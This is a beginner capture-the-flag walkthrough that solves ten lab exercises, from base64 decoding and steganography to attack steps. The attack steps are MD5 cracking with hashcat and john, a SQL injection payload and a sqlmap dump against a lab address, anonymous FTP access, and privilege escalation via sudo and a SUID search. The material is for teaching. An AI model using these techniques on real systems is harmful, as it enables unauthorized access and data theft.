CTF Walkthrough – 10 Beginner Challenges Solved

What is CTF (Capture The Flag)?

CTF competitions are cybersecurity challenges where participants solve puzzles to find hidden "flags" — usually strings like FLAG{h1dd3n_s3cr3t}. They cover cryptography, web exploitation, reverse engineering, forensics, and more.

Free CTF Platforms

10 Beginner Challenges – Solved

Challenge 1: Find the Hidden File

$ ls -la /home/user/
# Look for files starting with . (hidden)
$ cat .hidden_flag
FLAG{h1dd3n_f1l3s_ar3_3asy}

Challenge 2: Decode Base64

Given: VGhpcyBpcyB0aGUgZmxhZyE=

$ echo "VGhpcyBpcyB0aGUgZmxhZyE=" | base64 -d
This is the flag!

# Or use our tool: /tools/base64-converter

Challenge 3: Reverse the String

Given: }galf_eht_si_sihT{GALF

$ echo "}galf_eht_si_sihT{GALF" | rev
FLAG{This_is_the_flag}

Challenge 4: Find Flag in a Large File

$ grep -i "flag{" bigfile.txt
$ strings bigfile.bin | grep -i "flag{"
$ grep -r "FLAG" /home/user/ 2>/dev/null

Challenge 5: XOR Cipher Decode

# Given bytes and key, XOR each byte with the key
$ python3 -c "
data = [0x53, 0x68, 0x61, 0x64, 0x6f, 0x77]
key = 0x42
result = ''.join(chr(b ^ key) for b in data)
print(result)
"
# Output: Shadow

Challenge 6: Crack a Password Hash

Given hash: 5f4dcc3b5aa765d61d8327deb882cf99

# Identify hash type first
hash-identifier 5f4dcc3b5aa765d61d8327deb882cf99
# MD5

# Crack it
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
john --wordlist=rockyou.txt --format=raw-md5 hash.txt

# Or check our Hash Generator to verify
# → /tools/hash-generator

Challenge 7: FTP Anonymous Login

# Scan to confirm FTP port is open
nmap -sV -p 21 192.168.56.10

# Connect with anonymous credentials
ftp 192.168.56.10
# Username: anonymous
# Password: (press Enter)

ftp> ls -la
ftp> get flag.txt
ftp> quit
cat flag.txt

Challenge 8: Steganography (Flag in Image)

# Install steghide
sudo apt install steghide

# Extract hidden data (no passphrase)
steghide extract -sf image.jpg -p ""

# Check file for embedded files
binwalk image.png

# PNG steganography tool
zsteg image.png

# Check metadata
exiftool image.jpg | grep -i "comment|flag"

Challenge 9: Web SQL Injection

# Test for SQLi manually
curl "http://192.168.56.10/login?user=admin'--"

# Automated with sqlmap
sqlmap -u "http://192.168.56.10/login?user=admin" --batch --dump

Challenge 10: Linux Privilege Escalation

# Check current user
whoami
id

# Check sudo permissions
sudo -l

# If you can run any command as root:
sudo su
cat /root/flag.txt
FLAG{r00t_acc3ss_g41n3d}

# Other escalation vectors:
find / -perm -4000 -type f 2>/dev/null  # SUID binaries
cat /etc/crontab                         # Cron jobs

Essential CTF Tools

• CyberChef — gchq.github.io/CyberChef — Encode/decode/analyse anything
• Base64/Hex/ROT13 — Our Base64 Tool →
• Hash identifier + cracker — Hash Generator →
• Strings/binwalk/steghide — For binary/image challenges
• Wireshark/tshark — For PCAP analysis challenges
• sqlmap/Burp Suite — For web challenges